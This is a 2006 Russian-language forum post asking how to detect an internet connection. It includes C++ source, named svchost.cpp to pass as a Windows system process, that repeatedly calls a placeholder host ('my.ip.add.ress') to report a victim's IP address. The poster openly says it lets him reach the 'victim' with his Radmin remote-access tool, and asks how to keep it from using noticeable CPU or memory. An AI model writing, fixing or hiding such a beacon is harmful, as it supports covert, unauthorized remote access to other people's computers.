Показать сообщение отдельно

  #10  
Старый 13.12.2006, 00:40
m17
Новичок
Регистрация: 05.12.2006
Сообщений: 22
С нами: 10226922

Репутация: 6
По умолчанию

возник вопрос, как определит наличие работающего сетевого подключения к интернету? или открыть сокет и попытаться что-то прочитать и есть самый простой вариант? как отловить момент когда юзер подключиться?

Код:
// file: svchost.cpp
#include "stdafx.h"
#include "socket.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	char buf[32];

	while (true)
	{
		Socket sock;
		
		sock.connect("my.ip.add.ress", 177);
		sock << "GET http://my.ip.add.ress/ HTTP/1.0\r\n\r\n";
		
		sock.set_buffer_size(sizeof(buf));
		sock >> buf;
		sock.close();

		Sleep(25000);
	}

	return 0;
}
вот такой исходник. использую чтобы при коннекте момедного юзера с моим radmin'ом мне сразу пришел его IP (у меня запущен сервер с помощью того же класса, пишет в лог и MessageBox кидает при попытке коннекта). так вот боюсь перегрузить систему жертвы, не нужно чтоб лишнюю оперативу жрало и вообще процессор занимало...
да и еще если Socket sock; вытащить из цикла, то почему-то после первого обращения к серверу, в следующие шаги цикла ничего не приходит(как будто и не пытаеться соединиться)? почему? первый раз что-то под сеть пишу на CPP...

Последний раз редактировалось m17; 13.12.2006 в 00:43..
 
Ответить с цитированием